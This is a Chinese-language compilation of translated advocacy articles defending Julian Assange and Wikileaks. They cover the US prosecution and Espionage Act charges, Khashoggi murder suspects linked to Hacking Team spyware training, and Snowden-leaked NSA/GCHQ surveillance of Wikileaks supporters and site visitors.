> 根据美国官员的说法，司法部几乎总结说它不会对 Wikileaks 创始人 Julian Assange 出版机密文件一事提出指控，因为政府律师表示，除非起诉美国所有新闻机构和新闻记者，否则就无法起诉 Wikileaks。官方说，虽然 Assange 发表了这些文件，但他没有参与泄漏，他们所说的一些话明显影响他们的法律分析……根据官员的说法，如果司法部起诉 Assange，它还必须起诉“纽约时报”和其他发布机密资料的新闻机构和作家，包括“华盛顿邮报”和英国“卫报”……

2017年，特朗普中央情报局局长 Mike Pompeo 威胁要尽一切可能捣毁 Wikileaks，包括起诉他们，前奥巴马司法部发言人 Matthew Miller 在 Twitter 上指出，威胁是“空洞的”，因为司法部知道这不是非法的，只是出版文件，即使文件是被盗的：

「图」

任何企图使 Wikileaks 出版被盗资料的工作非法化的行为都将构成对新闻自由的严重威胁，这点已经被许多主流媒体广泛认可，这些媒体强烈反对这样做。例如，华盛顿邮报发表的一篇 2010 年的社论，标题为“不要指控 Wikileaks”，其中说的很清楚。

如果发布没有授权的秘密资料是非法的，那么任何媒体的出版都无法运作了，甚至整个新闻业也无法运作。奥巴马司法部（这地方可不完全是新闻自由保护的堡垒，并且像任何人一样地藐视 Assange）他们也很明智地认识到了这一事实，因为这决定了他们无法在起诉 Wikileaks 的同时不严重危害新闻自由。

不幸的是，DNC 不那么明智，也不担心摧毁美国的新闻自由。任何关心新闻自由的人对应该谴责和鄙视这些起诉！

原文

Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切

HackingteamWikileaks协助暴政的家伙们政府的间谍行为

【2018年9月1日存档】线上间谍，线下杀人。萨勒曼王储的身边人真是“技能全面”……

土耳其在沙特持不同政见记者 Jamal Khashoggi 失踪期间发现的嫌犯之一是 穆罕默德·本·萨勒曼 ·王储的常客，两人被拍摄到在巴黎和马德里一起下飞机、以及在今年访问休斯敦、波士顿和联合国期间此人均护卫在萨勒曼身边。

另外三个嫌疑人也被指认为与沙特王储的安防事物有关。

而第五名嫌疑人是一名法医，在沙特内政部和医疗机构担任高级职务，这个级别非常高，他只能服务员沙特高级官员。

如果像土耳其当局所说的那样，这些人出现在10月2日 Khashoggi 先生失踪的伊斯坦布尔沙特领事馆，他们的身份就能将在那里发生的事和穆罕默德亲王之间产生直接联系。那些称 Khashoggi 先生死于“流氓行为，而王储不知情”的说法是站不住脚的；嫌疑人与沙特王室的亲密联系也可能使白宫和国会更难以接受这样的解释。

“纽约时报”证实，土耳其当局确认的15名嫌疑人中至少有 9 名为沙特安全部门、军队或其他政府部门工作。根据一份英国外交名册，其中一位是 **Maher Abdulaziz Mutreb**，他是 **2007** 年被派往驻伦敦沙特大使馆的外交官。他与王储一起旅行，也许是作为保镖的存在。

对于这位 33 岁的王储来说，他应该对 Khashoggi 先生的“失踪”或死亡承担多少责任已经成为他在西方国家和王室内的地位的决定性因素。

王储将自己视为改革者，“意图开放王国的经济和文化”，并利用这一

形象试图影响该区域的白宫政策，并吸引西方投资者帮助沙特经济多元化。

但是，一位报纸专栏作家 – 为“华盛顿邮报”撰稿的 Khashoggi 先生遭到暗杀和残害的国际反感，已经玷污了这一形象，其影响远远超过了萨勒曼曾经犯下的诸多重大“失误” – 从也门的灾难性战争到绑架黎巴嫩总理。

就是上面这个 **Mutreb**，被证明是沙特一个与网络战有关的小组成员，该队曾于 **2011** 年在意大利接受间谍软件培训 —— 就是臭名昭著的 **Hacking Team**。在下面看到：

- 2015 年间谍软件供应商 Hacking Team 似乎已经完了，内部电子邮件和间谍软件源代码在网上泄露，任何人都可以看到。但是，三年后的如今，该公司居然又活过来了。 这要归功于 2016 年一位神秘投资者的现金涌入 —— 该投资人是沙特皇家宫廷顾问 HE Saud Al-Qahtani
- 这篇文章有提到意大利监控技术公司 Hacking Team《 危险：监控技术公司正在推动对零日漏洞的利用 》
- 这里是最全的：Wikileaks 的 Hacking Team 档案馆

Wikileaks 发布的电子邮件记录显示，“Maher Abdulaziz Mutreb 的发送联系人’**albwardy**’代表沙特提出了许多骇客行为请求”。

Wikileaks 揭示的电子邮件于 2011 年1月26日被发送给一名叫 Marco Bettini 的人。名单中除了 Mutreb 之外的其他名字是：Waleed A Alsofayan，Waleed M Albwardi，Nasser A Asiri，Basem A Ghandoura 和 Mazen R Alharthi。

该邮件由一位名叫 Waleed 的人发送，要求’Marco’在 2011 年1月3日开始的八周内对名单中的名子进行认证。

上图来自 Wikileaks’s Twitter

上图：沙特调查团于土耳其调查人员抵达之前的周一就进入了伊斯坦布尔领事馆 Ozan Kose/Agence France-Presse — Getty Images

王储和他的父亲都否认了任何关于 Khashoggi 先生下落的消息，一再断言他“自由离开领事馆”。沙特官员拒绝回应纽约时报的评论请求。

但在过去的几天里，由于美国主要企业 已经退出 利雅得的大型投资会议，国会议员已经加紧要求制裁，美国、土耳其和沙特阿拉伯似乎

一直在寻找一种能挽回面子的出路。

皇家法院预计会承认 Khashoggi 先生在领事馆内被杀，并 指责一名情报人员 审讯 Khashoggi 先生，最终杀死了他。

特朗普星期一就提出了这一可能保住面子的解释，即 Khashoggi 先生是“流氓杀手”的受害者（也就是避免承认是沙特王室的背后指使）。

但是这样的解释会面临一系列更加难以解释的障碍。

嫌犯在沙特政府中的地位以及他们与王储的联系可能使萨勒曼更加难以免除责任。

专门从事尸检的法医的存在表明，该行动可能从一开始就具有致命的意图。

土耳其官员表示他们有证据证明 15 名沙特特工于10月2日飞抵伊斯坦布尔，暗杀了 Khashoggi 先生，用他们为此目而带来的骨锯肢解了他的尸体，并在同一天乘飞机离开。航运记录显示，与沙特王子和内政部关系密切的两架私人喷气式飞机抵达伊斯坦布尔，并在 Khashoggi 失踪之日离开此地。

土耳其官员说，Khashoggi 先生在抵达领事馆后两小时内被杀。这个时间表不会让审讯有太多时间出意外。

“纽约时报”通过面部识别、公开记录、社交媒体档案、沙特手机号码数据库、沙特新闻报道、泄露的沙特政府文件、以及在某些情况下的证人访问记录，收集了有关嫌犯的更多信息。

这位兼职骇客的驻伦敦前外交官 Mutreb 最近与前往马德里和巴黎的穆罕默德亲王被拍摄到一起从飞机上走下来。在王储访问期间，他还在休斯顿、波士顿和联合国被拍摄到，在审视人群时常常怒目而视。

与沙特王室一起工作的法国专业人士确认了第二名嫌疑人 Abdulaziz Mohammed al-Hawsawi，他是与王储一起旅行的安保团队成员。

一家沙特新闻媒体报道说，与第三名嫌疑人 Thaar Ghaleb al-Harbi 同名的人，去年被提升为沙特皇室卫队的中尉军衔，以保卫穆罕默德王子在吉达的宫殿。

第四名嫌疑人持有一张带着皇家卫队成员名字的护照旅行：Muhammed Saad Alzahrani。在 Menom3ay 中搜索该名称（这是一

个在沙特阿拉伯流行的应用程序，允许用户查看其他用户与某些电话号码相关联的名子）确认他是皇家卫队的成员。 2017 年的一个视频 中站在穆罕默德亲王旁边的警卫就叫这个名字。

与王储一起旅行的皇家卫队成员或助手可能不会直接向他汇报，有时可能会承担其他职责。有些人可能被招募来抓获或审讯 Khashoggi，可能由一名高级情报官员领导……这些解释都能让萨勒曼脱罪，但是，尸检专家 Salah al-Tubaigy 在嫌疑人之列表明，杀人可能就是最初计划的一部分。

Tubaigy 博士在几个社交媒体平台上保持着自己的身份，他在自己的 Twitter 账户上标注着自己是沙特科学法医委员会的负责人，并在该国首屈一指的医学院和内政部担任最高职务。他曾在格拉斯哥大学学习，2015 年在维多利亚州法医学院作为法医病理学家访问学者在澳大利亚度过了三个月。他出版的著作主题包括解剖和移动尸检。

虽然没有找到他和皇家法院之间存在任何关系的公开记录，但这位沙特医疗机构的高级人员不太可能参加由下属组织的流氓行为。Tubaigy 博士几天前首次出现在嫌疑人的报告中，但尚未公开回应这些指控。目前没有任何嫌疑人对此回应。〇

原文

从人格暗杀到对真相的谋杀 ⏳ - iYouPort

Wikileaks

如果只能二选一，你最大的痛苦是什么？是坏的那个更坏了、还是“好的”那个变坏了？我觉得是后者

「图」

「图」

Wikileaks 创始人 Julian Assange 被特朗普政府司法部指控17项罪名，最高刑期为175年。正如 Assange 和他的辩护人一直以来所警告那样，这一警告持续了近十年。有多少人在听？

这份起诉书就如上个月 Assange 的被捕一样完全是欺诈性的，因为它起诉 Assange 的所谓“罪行”与传统的新闻实践完全无法区分。

这些指控基于与奥巴马政府当年相同的理由 —— 正如调查记者 **Glenn Greenwald** 去年所指出的那样 —— 当年 奥巴马的司法部不得不放弃了起诉 **Assange**，理由是要付出摧毁新闻自由的代价。

在这里看到原文中文版《DNC 针对 Wikileaks 的诉讼对新闻自由构成严重威胁》。

德雷克塞尔大学托马斯·克莱恩法学院副教授 Hanna Bloch-Wehba 表示，这份起诉书是“第一修正案的噩梦，就如空难发生前的垂死呼救”。

Bloch-Wehba 说，起诉书的“责任理论在很大程度上依赖于 Assange 与 Manning 的关系，以及他倾向于鼓励 Manning 继续为维基解密提供材料”，事实上这就是任何记者在培养与其消息来源的关系时所做的。

“纽约时报”关于 Assange 起诉书的报告中有一个版本已经被修改过，但是对 Slate 的引述保留在那里了，他说，“官员们不会接受有关 Assange 先生被指控的重罪行为与普通调查性新闻没什么不同的问

题。别忘了，纽约时报和许多其他主流新闻机构都在没有得到政府授权的情况下，从 **Wikileaks** 获得了完全相同的档案文件”。

新闻自由组织一直在以鲜明和明确的语言谴责这些将新闻工作称之为间谍的指控。

新闻自由基金会执行主任特雷弗·蒂姆（Trevor Timm）在一份声明中说：“简而言之，对 Julian Assange 和 Wikileaks 的这些前所未有的指控是对21世纪第一修正案的最重大和最可怕的威胁。”

“特朗普政府正在明确将新闻定为刑事犯罪，如果这起诉讼得以实施，纽约时报、华盛顿邮报和其他地方的数十名记者都将面临被指控的危险。

“新闻界发布政府希望保密的事实的能力对公众的知情权和基本权利都至关重要。

“司法部的这一决定是特朗普政府新闻战争的一次大规模和前所未有的升级，可以毫不夸张地说是第一修正案本身存在风险。任何关心新闻自由的人都应该立即全心全意地谴责这些指控。”

“根据所谓的间谍法对 Julian Assange 发布的机密信息的起诉是对第一修正案的严重攻击、以及对所有发布政府希望保密的信息的记者的威胁，”保护记者委员会执行主任 Joel Simon 发表声明说。

“这起诉讼危及美国和世界各地的新闻自由。”

“在我国历史上，政府首次根据”间谍法“对发布真实信息的出版商提起刑事指控，” "ACLU 发表声明"说。

“这是对第一修正案的直接攻击。这些指控是特朗普政府对新闻攻击的特别升级，它建立了一个危险的先例，可以用来瞄准打击任何希望通过说真话让政府负责的新闻机构。

“对于揭露其他国家秘密的美国记者来说，对 Assange 的指控同样危险。如果美国可以起诉外国出版商违反我们的保密法，那么就没有什么能阻止中国或俄罗斯这样做了。”

「图」

「图」

一些主流媒体的记者似乎已经醒过来了，虽然为时已晚。就在此前不久他们还在努力为官方站台联手攻击 Wikileaks。

在这里看到：《致力于帮助当权者抹黑曝光权力阴暗面的人：新闻业正在破坏自己的声誉》、《伪劣报道和有目的的政治宣传如何扭曲了现实政治 》。

MSNBC 的 Chris Hayes 在推文中说："将 Assange 的出版工作视为间谍的指控是对新闻自由的极端危险的正面攻击。糟糕，糟糕，糟糕"……

MSNBC 的 Ari Melber 在推特上写道："今天，特朗普司法部成为了第一个向出版商指控*间谍活动*的政府 —— 这是对传统权利和出版商保护的前所未有的打击。"

"无论一个人对 Julian Assange 的观点如何，这都是一个法律事实。新的特朗普 DOJ 起诉书将大多数顶级报纸的日常工作 —— 收集和发布机密材料 —— 变成了间谍行为……

「图」

「图」

事实上这不是什么突发事件，**Wikileaks** 的工作人员和他们的支持者多年来一直在警告这一点，只是因为偏执狂的阴谋论家们拒绝听取，他们坚称 Assange 只是在厄瓜多尔驻伦敦大使馆里避免所谓的强奸指控。

Wikileaks 的推特账号中有很多推文表明，美国在2010年一直试图根据"间谍法案"起诉 Assange，十年来他们一直在警告这件事，但是没有人听过。

多年来，Assange 一直在警告的这一情况即将到来。他一直在表示，他从一开始就非常明确地表示很愿意参与瑞典的调查，而且由于害怕美国的引渡和政治起诉而只能向厄瓜多尔寻求庇护，厄瓜多尔明确表示这就是给予 Assange 庇护的理由 —— 人权。

他一直都是对的。历史证明了他是对的，他的批评者是错的。

我们也已经看到 Assange 在他的警告中证明了他的起诉对新闻自由的意义。

⚠一场大大升级的对新闻的战争正在实施，最近几天有新的发展 —— 旧金山的记者因接收举报人递送的警方机密文件而被 **FBI** 抄家"被指控“阴谋”"、著名的法国记者"被警方传唤"，只因报道了马克龙政府的腐败现象。

「图」

「图」

所有这一切当然都引出了一个问题：他还有什么其他的权利？任何有一点点智力诚实的人就算曾经对 Assange 有疑问的人，现在也必须开始问自己这个问题了。

如果您想要完整的故事，在这里回顾这"场惊人的联手迫害计划"，你能在这个故事中找到人性中最肮脏的几乎一切。

抵制暴政，《从101室开始》

How Many Times Must Assange Be Proven Right Before People Start Listening?

原文

司法部的阴谋论以什么为支点？ - iYouPort

Wikileaks

人们经常谈论诸如“挑战权力”和“面对强权者”之类的话题；这些话说起来很容易但是做起来要难得多。“权力”的本质 – 它的定义属性 – 就是摧毁阻碍其意志和议程的任何人的能力 —— **Glenn Greenwald**

「图」

「图」

Wikileaks 创始人的律师告诉法庭，Julian Assange 病得非常严重，无法通过视频链接参加有关他可能被引渡到美国的最新听证会。

此次听证会是自5月2日以来的第一起听证会，当时美国政府的律师开始对其案件进行审理，试图引渡他面临审判。

但是，他的律师 Gareth Peirce 周四告诉伦敦威斯敏斯特地方法院的一名法官，Assange 病得非常严重，无法通过监狱的视频链接出席。

下次听证会的日期确认为6月12日。

高级地区法官 Emma Arbuthnot 表示，下一次听证会可能会在伦敦南部的 Belmarsh 监狱举行，Assange 被关押在那里。

美国已要求引渡 Assange，他于4月11日被强行从厄瓜多尔驻伦敦大使馆带走。

当时他被控串谋犯计算机入侵，最高刑罚为五年。

但是，在后来的起诉书中显示，他可能会因为通过 **Wikileaks** 公布当权者的丑闻而被指控违反“间谍法”在美国监狱服刑数十年。

检察官宣布对 **Assange** 提出另外**17**项指控，其理由是 **Wikileaks** 发布的关于阿富汗和伊拉克战争中的数十万封秘密外交电报和档案。最

高刑期175年。

Wikileaks 周二表示，澳大利亚公民 Julian Assange 体重严重下降健康状况恶化，被转移到了贝尔马什监狱医务室。

Wikileaks 发表声明："在厄瓜多尔大使馆内七年后，Assange 的健康状况已经严重恶化，他的遭遇违背基本人权。"

"在贝尔马什的七个星期里，他的健康状况一直在持续恶化，并且他的体重大幅减轻。监狱当局将他送到那间病房的决定不言而喻。"

司法部的指控所依赖的案件理论是在切尔西曼宁在被军事审判期间当局编造出来的。

该理论采用的是中央情报局的观点，即 Wikileaks 是"非国家敌对情报部门"，并暗示 Assange 招募曼宁为内幕人士或间谍。她被部署到巴格达，并于2009年11月窃取文件。

但是，Manning一再指出，她并没有在2010年1月之前认真考虑过向维基解密发布文件。

她将伊拉克和阿富汗的军事非法屠杀报告数据库复制到她的个人笔记本电脑上，以便在她返回美国休假之前随身携带。

上述这只是军事检察官如何捏造时间表来加强他们的阴谋论叙述的一个例子。

为了对 Manning 进行定罪，军事法官无需就 Assange 或维基解密寻找任何事实。

Manning 是否为 Assange 工作的问题一直在由检察官和 Manning 的辩护律师辩论，但从未正式解决。

然而，Manning在2月28日军事法庭上发表的声明，与检察官的理论发生了深刻的冲突。

Manning 在弗吉尼亚州亚历山大市的 William G. Truesdale 拘留中心关押，她由于大陪审团没有对Wikileaks进行调查而拒绝作证，因此入狱。

这是她第二次被判入狱，30天后，如果曼宁继续不服从大陪审团并作证，她将面临严厉的经济处罚。

虽然检察官一直在想办法起诉Assange，但他们认识到，如果他们有任何希望说服法律机构认可它们针对 **Assange** 的阴谋论，他们就必须先抹黑 **Manning** 的陈述。

美国记者 Kevin Gosztola 解构了这个17项罪名的起诉书。他检查了2009年“当局最想要的举报人”名单，该名单就是政府阴谋论的核心，也是 Manning 辩护律师在审判期间针对关于“Manning 为 Wikileaks 工作”的荒谬观点的陈述。

在这里看到背景《从人格暗杀到对真相的谋杀》；在这里看到这个最荒唐的《联手迫害》；在这里看到主流媒体是这样协调抹黑的《伪劣报道和有目的的政治宣传如何扭曲了现实政治》

UNRAVELING THE JUSTICE DEPARTMENT’S CONSPIRACY THEORY AGAINST JULIAN ASSANGE

原文

情报部门如何监视了所有支持 Wikileaks 的人，甚至包括仅仅点击了网页的游客 - iYouPort

Wikileaks

这样的指定将允许把 Wikileaks 视为广泛的电子监视目标 – 而无需将美国人排除在外的大规模监视

「图」

「图」

美国国家安全局及其英国相关机构的最高机密文件首次被曝光，揭示了美英两国政府是如何针对 **Wikileaks** 和其他维权组织的，从秘密监视到起诉的全部“策略”。

这些策略包含在被 Edward Snowden 曝光的文件中，包括一个广泛的国际压力运动，不仅针对 Wikileaks 创始人 Julian Assange，并且还包括被美国政府称之为“支持 **Wikileaks** 的人际网络”——换句话说，我们这些人都被包含在内。

这些文件还包含有关针对文件共享网站 Pirate Bay 和 ‘hacktivist’ 集体（如 **Anonymous** 匿名者组织）的内部讨论。

来自英国顶级间谍机构 – 政府通讯总部（GCHQ）的一份机密文件显示，GCHQ 利用其监控系统秘密监视着 Wikileaks 网站的所有访问者。通过利用其构建互联网骨干网光纤电缆的能力，该机构在 2012 年向盟国通报了信息，它能够实时收集访问者的 **IP** 地址，以及搜索条件，比如曾经通过 **Google** 等搜索引擎访问该网站的人。

美国情报机构 2010 年 8 月的另一份机密文件回顾了奥巴马政府如何敦促外国盟友就阿富汗战争日志的发布，向 Assange 提出刑事指控。

从 2011 年 7 月开始的第三份文件包含了一个内部的讨论摘要，其中

包括该机构的总法律顾问和威胁运营中心的一个部门在内的两个国家安全局办公室的官员认为，将 Wikileaks 定位为“恶意的境外组织”，这样的指定将允许把 **Wikileaks** 视为广泛的电子监视目标 – 而无需将美国人排除在外的大规模监视。

在 Wikileaks 成立不久之后的 2008 年，美国陆军准备了一份报告，指出该组织（Wikileaks）是一个“敌人”，并制定了如何将其摧毁的计划。新文件为美国和英国政府似乎认同 Wikileaks 代表“严重威胁”的观点提供了一个窗口，并揭示了他们愿意采取的与之抗衡的争议性措施。

在给 The Intercept 的一份声明中，Assange 谴责“国家安全局的鲁莽和非法行为”以及“ **GCHQ** 对广受关注的流行出版商网站及其读者的敌对式监控‘。

Assange 说，“消息显示美国国家安全局计划在总法律顾问办公室层面进行这些监视行动是特别令人不安的。今天，我们呼吁白宫任命一位特别检察官来调查国家安全局对媒体施加的犯罪活动之程度，包括对 Wikileaks 及其工作人员、员工，以及支持者们。”

这些文件显示，该机构考虑对海盗湾采用全面监视系统，指控其“促进侵犯版权”，这说明美国国家安全局早已远离了"其自称的"“恐怖主义和国家安全”的重点工作目标。该机构还批准对黑客组织所谓的外国“分支机构”进行监控，并点名了匿名者组织。

奥巴马政府一再坚称“美国公民并未卷入由美国国家安全局投下的全面监视网络”，然而该文件所呈现的事实直接揭示了这一谎言。例如，根据该机构所考虑的广泛理由，被指定为“恶意外国组织”的所有团体（他们将 Wikileaks 和 匿名者组织全算进去了）的任何通信施加监控都将被视为公平的游戏。

专门研究监视问题的卡托研究所研究员 Julian Sanchez 说，这些揭露令人不安地看到了美国国家安全局愿意将美国公民卷入其监视网络的行为，“美国人耳熟能详的政权的所有保证都变得空洞无意义，他们定位一个所谓的外国目标，就能针对成千上万的美国人使用的成千上万个网上论坛进行全面监视”。

GCHQ 对 **Wikileaks** 的访客进行间谍活动

GCHQ 用于监测 Wikileaks 网站的系统代码为 ANTICRISIS GIRL，该系统由英国机构编写，并在 2012 年“SIGDEV大会”上发布的机密

PowerPoint 演示文稿中进行了描述。在年度聚会上，“五眼”联盟的每个成员 – 美国，英国，加拿大，澳大利亚和新西兰 – 都描述了上一年监测行动中的成功与挑战。

在这次会议的机密演讲中，两位 GCHQ 间谍概述了如何使用 ANTICRISIS GIRL 系统来实现 Wikileaks 的“有针对性的网站监控”（请参见幻灯片33和34）。该机构的数据显示了来自世界各地的用户，包括美国人，因为他们正在访问 Wikileaks 网站 – 与美国官员声称的英国和美国之间的协议阻止双方互相窥视对方公民的说法，相矛盾。

GCHQ 收集的 **IP** 地址用于识别连接到互联网的个人计算机，如果 **IP** 地址未使用匿名服务进行保护，则可以追溯到特定人员。如果 Wikileaks 或其他新闻机构通过其网站上的安全收件箱接收到信息来源提交的内容，则可以使用像 ANTICRISIS GIRL 这样的系统来帮助追踪爆料人。（自 2010 年以来，Wikileaks 未运营安全投递渠道，当时由于监控问题造成的不安全，Wikileaks 关闭了其系统。）

「图」

「图」

在其 PowerPoint 的演示文稿中，GCHQ 仅将其目标标识为“wikileaks”。显示来自监控的分析结果的一张幻灯片表明，监控的网站是官方的 wikileaks.org 域名。它显示用户通过搜索“"wikileaks.org"”和“**maysan uxo**”到达目标网站，这个术语与 "wikileaks.org" 上托管的一系列泄露的伊拉克战争日志有关。

这个被称为 ANTICRISIS GIRL 的计划由一家名为全球电信开发（GTE）的 GCHQ 部门运营，该部门此前曾报道称与 GCHQ 开展的代号为 TEMPORA 的大规模秘密互联网监视业务有关。

在英国和塞浦路斯以及其他国家的英国秘密窃听基地开展业务时，**GCHQ** 将其称为“被动”监视 – 也就是不分青红皂白地拦截所有来自互联网电缆、电话网络和卫星的大量数据。**GTE** 部门致力于开发“开拓性收集能力”，以利用从互联网收集的数据流。

文件显示，作为 ANTICRISIS GIRL 系统的一部分，GCHQ 使用公开可用的称为 Piwik 的分析软件，从其监控流中提取信息，不仅监控对 Wikileaks 等有针对性网站的访问，还跟踪每个访问者的原籍国！

「图」

「图」

从 PowerPoint 的演示中看不出 GCHQ 究竟是将 Wikileaks 网站作为旨在展示其能力的试验计划的一部分进行监控，仅使用一小部分秘密收集的数据，还是积极撒网，对所有网站访问者进行的针对性监控。早前“卫报”的报道中曾显示，**NSA** 和 **GCHQ** 使用的综合监控武器 **X-KEYSCORE** 允许“分析人员了解被指定的任何网站的所有访问者的 **IP** 地址。”

GCHQ 拒绝评论监控系统 ANTICRISIS GIRL 是否仍在运作。其发言人在一封电子邮件中援引的只是该机构应对询问的套话，坚称：“GCHQ 的所有工作都是按照严格的法律和政策框架进行的，以确保我们的活动得到授权、必要和相称，并且存在严格的监督“。

但是隐私倡导者质疑这些官腔。“如何定位整个网站的用户群是必要的还是相称的？”总部位于伦敦的人权组织 Privacy International 的执行董事 Gus Hosein 说。“被涉及其中的都是无辜的人，只是因为他们的阅读习惯就变成了犯罪嫌疑人。当然，成为国家情报和安全机构的目标应该不仅仅是点击一个链接（暗指情报机构瞄准的是举报人，也就是蓄意扼杀政治透明）。“

Hosein 补充说，该机构对 Wikileaks 的秘密攻击，引发了对国家监控系统基础的整体法律依据的质疑。他说：“我们可能很想将 GCHQ 看作是一个流氓机构，不受控制地利用新技术产生的前所未有的力量。但是 GCHQ 的行动得到了政府部长的批准。部长们正在下令监测互联网用户的政治利益，这显示出法治的系统性失败。”

在 **Assange** 和他的支持者之后

美国试图迫使其他国家起诉 Assange 的情况在一份情报部门称之为“Manhunting Timeline”的文件中有所叙述。这份文件详细介绍了美国政府及其盟国为寻找、起诉、逮捕或杀死恐怖分子、贩毒者、巴勒斯坦领导人和其他人，所做的努力。 2008 年至 2012 年每年都有一个时间表。然而他们把媒体也包含进去了。

「图」

「图」

2010 年 8 月的一篇题为“美国，澳大利亚，英国，德国和冰岛”的报

道称："美国于 8月10日敦促其他国家的驻阿富汗部队，包括澳大利亚、英国和德国，考虑对 Julian Assange 提起刑事诉讼。"美国的理由只是 **Assange** 发表了关于阿富汗战争的 **70,000** 多份机密文件。

「图」

「图」

回应 The Intercept 的提问，国家安全局建议该条目是"每日野兽中2010年文章的摘要"。那篇文章引用了匿名美国官员的话说："奥巴马政府迫切要求英国，德国，澳大利亚和其他西方联盟政府考虑开启对 **Wikileaks** 创始人 **Julian Assange** 的刑事调查，并严格限制他在国际边界上的旅行。 "（这就是为什么 **Julian** 的祖国澳大利亚不仅没有对其公民做任何保护，而且在第一时间就注销了 **Julian** 的护照）

在"Manhunting Timeline"的条目中政府还加入了冰岛，使其成为受到西方压力的国家之一，并表明推动起诉 Assange 是更广泛运动的一部分。该条目没有具体说明政府在多大程度上对"人脉网络"进行定义，该网络可能包括了成千上万的志愿者、捐赠者和新闻记者，以及那些只是基于良知简单地为 **Wikileaks** 辩护的人 —— 也就是你我，我们所有人。

美国国家安全局在一份声明中拒绝对这些被曝光的文件发表评论，只是说了一堆套话，比如"为他们的分析师提供了大量机会，以探索假设或实际的情况，以获得关于其行使权力的适当建议……"

但是文件中关于 Wikileaks 的条目来自情报界颇有资格的官员。在 2013 年六月的香港采访中，Edward Snowden 明确表示，唯一获得授权撰写此类文件的国家安全局官员是那些"拥有绝密通关和公共密钥基础设施证书"的国家安全局官员 – 这是一种数字身份证，能够拥有访问某些部分的绝密系统的特权。更重要的是，Snowden 补充说，这些条目是"同行评审"的 – 每一次编辑都由系统记录下来。

美国在 2010 年7月25日开始，也就是阿富汗战争日志发表后不到一周，就向 Wikileaks 展开了施压。当时，美国高级国家安全官员指责 Wikileaks "手上沾血"。但几个月后，" McClatchy 报道"说："美国官员承认他们迄今没有任何证据表明这些文件导致任何人的死亡。"

政府对 Wikileaks 的针对继续进行。 2011年4月，沙龙报道说，弗吉尼亚州的一个大陪审团正在根据与发布机密文件有关的间谍法规对可能的刑事指控进行调查。而在 2012 年8月，悉尼先驱晨报引用澳大

利亚秘密外交电报报道说，“澳大利亚外交官毫不怀疑美国仍在为 Julian Assange 拼命”，并且“澳大利亚的外交部门认真考虑到 **Assange** 最终将被引渡到美国的可能性，原因仅仅是 **Wikileaks** 这家独立媒体获得了被泄露的美国军事和外交文件。“

对 **Wikileaks** 和 **Julian Assange** 提起任何指控都将引发极大的争议，因为该组织一直在和卫报、纽约时报等传统报纸合作发表这些战争日志。“今天新闻界面临的最大挑战就是当局威胁要起诉 **Wikileaks**，这绝对是非常可怕的，”曾在战争期间出版五角大楼秘密文件的纽约时报首席顾问 **James Goodale** "在对哥伦比亚新闻评论"的报告中说，“如果你追究 **Wikileaks** 的刑事责任，你就会追随”纽约时报“。这是整个过程的定罪。“

2013 年11月，华盛顿邮报援引匿名官员的话报道，司法部强烈考虑要起诉 Assange，并且认为“如果不同时起诉与 Wikileaks 合作发布文件的美国新闻机构和新闻记者”是不可能的。据“邮报”称，该官员“意识到了这一问题”” – 即 任何用来针对 Assange 提出指控的理论都会导致对“纽约时报”，“卫报”和其他与 Wikileaks 合过的美国大牌媒体提出同样的指控。

NSA 针对 **Wikileaks** 的提案

但是，随着美国国家安全局新的文件明确指出，美国政府不仅试图设计起诉 Assange。美国国家安全局的分析家们也考虑将 Wikileaks 指定为“恶意的外国参与者”以进行严格监视 – 这一举措将显著扩大该机构对该组织工作人员和支持者进行广泛监视的能力。

这份绝密文件 – 总结了国家安全局总法律顾问办公室与该机构威胁行动中心的监督和合规办公室之间的讨论 – 阐明了将美国公民纳入监控的理由：

> “If the foreign IP is consistently associated with malicious cyber activity against the U.S., so, tied to a foreign individual or organization known to direct malicious activity our way, then there is no need to defeat any to, from, or about U.S. Persons. This is based on the description that one end of the communication would always be this suspect foreign IP, and so therefore any U.S. Person communicant would be incidental to the foreign intelligence task.”

简而言之，只要将 **Wikileaks** 定义为“恶意外国目标”，就可以把所有人（包括美国人）都纳入政府的监视之内。

当国家安全局官员在文件中询问 Wikileaks 或海盗湾是否可以被指定为“恶意的外国组织”时，答复是没有定论的：“Let us get back to you.”没有迹象表明任何一个组织是否曾经以这种方式被指定或定位。

「图」

「图」

然而，美国国家安全局的律师确实曾经给予了针对其他活动人士加强监视的权力。当被问及是否允许“针对松散的黑客群体的外国团体……例如匿名者组织”时，这种回应是明确的：“只要他们是美国以外的外国人，并且不持有双重国籍……“。（听起来很熟悉吧，没错，中国国安局也是这个思路，将所有与外国人有联系的人都视为重点监视目标，甚至鼓励举报）

「图」

「图」

国家安全局的律师：“没什么可担心的”

卡托研究所的监视专家 Sanchez 说，这份文件“提醒人们，国家安全局基本上全权监视所有非美国人。在公开声明中，情报官员总是谈论对“恐怖分子”的间谍活动，好像这些是唯一的目标 – 但是，2008 年国际航空运输协会修正法案第 702 节没有提及任何有关’恐怖分子’的内容。他们可以授权收集任何不是美国人的外国人以及不是美国人领导的任何类别的组织的所有信息。

Sanchez 指出，“将外国网络攻击者与众多美国人自愿访问的网站（如海盗湾或 Wikileaks）混为一谈是毫无意义的。”事实上，美国国家安全局文件中的一个条目明确授权针对“恶意”的外国服务器 – 提供海盗湾作为一个具体的例子 – “即使有可能美国人也可以使用它。”国家安全局官员同意，没有必要将美国人排除在监视之外，只表示该机构的间谍行为试图将被拉网捕获的美国公民数量“最小化”。

「图」

「图」

另一个条目甚至提出使用 **X-KEYSCORE**（该机构最全面的监控程序之一）来定位两个美国互联网地址之间的通信的可能性，如果他们通过用于“恶意的外国活动”的“代理”进行操作的话。作为回应，国家安全局的威胁行动中心批准了目标，但该机构的总法律顾问要求“在签字之前进一步澄清”。

「图」

「图」

就算 Wikileaks 的目标不明确，或者美国公民在未经授权的情况下卷入了美国国家安全局的监控网络，该机构的态度也是冷漠无情的。根据该文件 – 该文件引用了美国国家安全局总法律顾问办公室和其威胁运营中心的监督和合规办公室 – 发现美国人被选中进行监视必须在季度报告中提及，“但这并不是什么可担心的事。“

「图」

「图」

针对 Wikileaks 和其广泛支持者的监控尝试引起了该组织及其盟友的尖锐批评。“这些文件表明对 **Wikileaks** 施加的政治迫害非常活跃，”西班牙现任法官 **BaltasarGarzón** 说，“矛盾的是，**Julian Assange** 和他的 **Wikileaks** 仅仅被视为一种威胁，而不是表明他们究竟是什么：他们是一个记者和一个媒体组织，正在行使他们的基本权利，以最原始的调查性新闻的形式接收和传递信息，没有遗漏和审查的报道，没有党派的利益牵涉，没有经济或政治压力，公正的报道。”

